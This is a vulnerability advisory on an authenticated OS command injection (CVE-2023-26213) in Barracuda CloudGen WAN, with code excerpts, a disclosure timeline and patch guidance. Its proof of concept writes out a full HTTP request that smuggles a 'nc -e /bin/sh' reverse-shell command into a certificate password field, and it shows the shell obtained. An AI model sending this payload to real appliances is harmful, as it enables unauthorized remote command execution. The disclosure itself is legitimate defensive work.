OS Command Injection in Barracuda CloudGen WAN


OS Command Injection


Barracuda CloudGen WAN

Vulnerable Version

< v8.* hotfix 1089

Fixed Version

v8.* with hotfix webui-sdwan-1089-8.3.1-174141891 or above version 9.0.0 or above

CVE Number







Stefan Viehböck (Office Vienna) | SEC Consult Vulnerability Lab

The Barracuda CloudGen WAN Private Edge Gateway appliance is affected by an authenticated OS command injection vulnerability. A crafted HTTP request allows an authenticated attacker to execute arbitrary commands.

Vendor description

"CloudGen WAN is more than just another SD-WAN solution. It lets you build an automated cloud-based network by leveraging the Microsoft Global Network. The product of a joint development program by Microsoft and Barracuda, CloudGen WAN is the only global secure SD-WAN service built natively on Azure. It is a single, unified solution that makes it very simple to ensure highly secure, seamless connectivity to all your locations and all your cloud-based resources and applications."

Source: www.barracuda.com/products/network-security/cloudgen-wan

Business recommendation

The vendor provides a patch which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues.

Vulnerability overview/description

1) Authenticated OS Command Injection (CVE-2023-26213)

Barracuda CloudGen WAN provides a private edge appliance for hybrid deployments. An authenticated user in the administration interface for the private edge virtual appliance can inject arbitrary OS commands via the



Proof of concept

1) Authenticated OS Command Injection (CVE-2023-26213)

The affected PHP application running on the appliance implements a custom wrapper for securely executing OS commands. The wrapper is inspired by SQL prepared statements and uses placeholders. Unfortunately an attacker can inject new placeholder strings within arguments. In the case where two or more arguments are controlled by the user, this allows an attacker to craft a placeholder which executes arbitrary commands.

Example of a vulnerable call:

// Extract the cert with the password
$extract_cert_status = BN_Shell::exec(
         "openssl pkcs12 -in :tmp_cert -out :dst -clcerts -nokeys -passin pass::password",
               'tmp_cert' => $cert_folder . $name . '.base64',
               'dst' => $cert_folder . $name,
               'password' => $password

Excerpt from BN_Shell::exec():

// Execute a full command.
// If you need to escape arguments, replace them with bind params, similar to sql binds.
// Example: exec('ls /tmp/')
// Example: exec('cp :source :dest', array('source' => '/src/dir/', 'dest' => '/dest/dir'))
public static function exec($command, array $params = array()) {
		// escape and replace binds with values
		foreach($params as $param => $value) {
			$value = static::escape($value); // --- SEC Consult: this internally calls escapeshellargs() on the argument
			$command = str_replace(":$param", $value, $command);
		static::$_last_command = $command;

		$return = array();
		// use proc_open to get stdout and stderr
		$descriptorspec = array(
			0 => array("pipe", "r"), // stdin is a pipe that the child will read from
			1 => array("pipe", "w"), // stdout is a pipe that the child will write to
			2 => array("pipe", "w")  // stderr is a file to write to

The following HTTP request exploits the issue.

The "name" argument contains the placeholder string ":password". At runtime, this is replaced by the argument "password", which in this case executes a reverse shell.

POST /ajax/update_certificate HTTP/1.1
Host: host
Cookie: session_id=jk7dai0pv2vr9npoarfqnuajll
X-Csrf-Token: 2da43562a3e1552259dea8dde327cd97c5176fdd
Content-Type: application/json;charset=utf-8
Content-Length: 999

{"pem":{"certificate":{},"key":{}},"pems":{"certificate":{},"key":{}},"pkcs12":{"certificate":{"content":"XXXXXXXXXXXXXXXX","name":"keyStoreAAA :password.pfx"},"key":{},"password":"; nc -e /bin/sh 4242 # XXX"},"currentType":"pkcs12"}

$ nc -l -p 4242
uid=48(www-data) gid=48(www-data) groups=48(www-data)

Vulnerable / tested versions

The issue was found in Barracuda CloudGen WAN (private edge appliance) version 8.3.1 (GWAY-8.3.1-0086-VTxxx.ova).

Vendor contact timeline

2023-01-12: Contacting vendor through bugcrowd submission.
2023-01-12: Auto-response from bugcrowd, submission set to "not applicable".
2023-01-13: Response from vendor, set to "triaged".
2023-01-24: Vendor provides a patch/diff.
2023-02-14: Vendor informs us that patch/hotfix 1089 has been released on 26th January as automatic patch for CGW sites and gateways. It targets version 8 and will be included in the future version 9. Vendor sets submission to "resolved"
2023-02-14: Asking whether it is applicable to bug bounty and for CVE number. No response.
2023-02-20: Informing vendor that we are going to request a CVE number and will publish the advisory afterwards.
2023-02-20: Vendor response: no CVE was assigned yet, provides link to security note.
2023-02-28: Release of security advisory.


There is an updated version 8 with hotfix 1089 available, future version 9 also incorporates the fix.

Barracuda customers should check the SDWAN WebUI or the cloud-based Appliance Dashboard (under the "Hotfixes" tab) and should confirm that:

  • The appliance is on version 8.* and it has hotfix webui-sdwan-1089-8.3.1-174141891 installed; or
  • The appliance is on version 9.0.0 or above

The vendor published the following release notes:

(search for hotfix 1089)



Advisory URL


EOF Stefan Viehböck / @2022

Interested to work with the experts of SEC Consult? Send us your application

Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices